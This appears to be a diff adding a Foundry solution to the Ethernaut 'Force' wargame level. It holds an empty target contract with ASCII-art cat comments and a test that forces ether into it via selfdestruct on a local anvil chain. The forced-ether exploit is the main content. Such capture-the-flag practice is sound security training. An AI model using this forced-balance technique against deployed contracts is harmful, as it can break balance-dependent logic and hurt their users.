07_Force

src/07_Force.sol

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+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+/*
+Author: @BoscoHuang
+
+Process:
+- Deploy Force contract in anvil: 
+    0. anvil
+    1. forge create src/07_Force.sol:Force  --rpc-url http://127.0.0.1:8545 --private-key 0x....
+*/
+
+contract Force {/*
+
+                   MEOW ?
+         /\_/\   /
+    ____/ o o \
+  /~____  =ø= /
+ (______)__m_m)
+
+*/}

test/07_Force.t.sol

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+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.0;
+
+import "ds-test/test.sol";
+import "forge-std/Test.sol";
+import "../src/07_Force.sol";
+
+/*
+Author: @BoscoHuang
+
+
+Command:
+- forge test --match-contract ForceTest --fork-url http://127.0.0.1:8545 -vvv
+*/
+
+contract ForceTest is Test {
+    Force Ethernaut07;
+
+    function setUp() public {
+        Ethernaut07 = Force(payable(0x5FbDB2315678afecb367f032d93F642f64180aa3)); // Force contract address in anvil
+    }
+
+    function testEthernaut07() public {
+        console.log("Balance Before:", address(Ethernaut07).balance);
+
+        selfdestruct(
+            payable(address(Ethernaut07))
+        );
+
+        console.log("Balance After:", address(Ethernaut07).balance);
+    }
+
+    receive() external payable {}
+}
+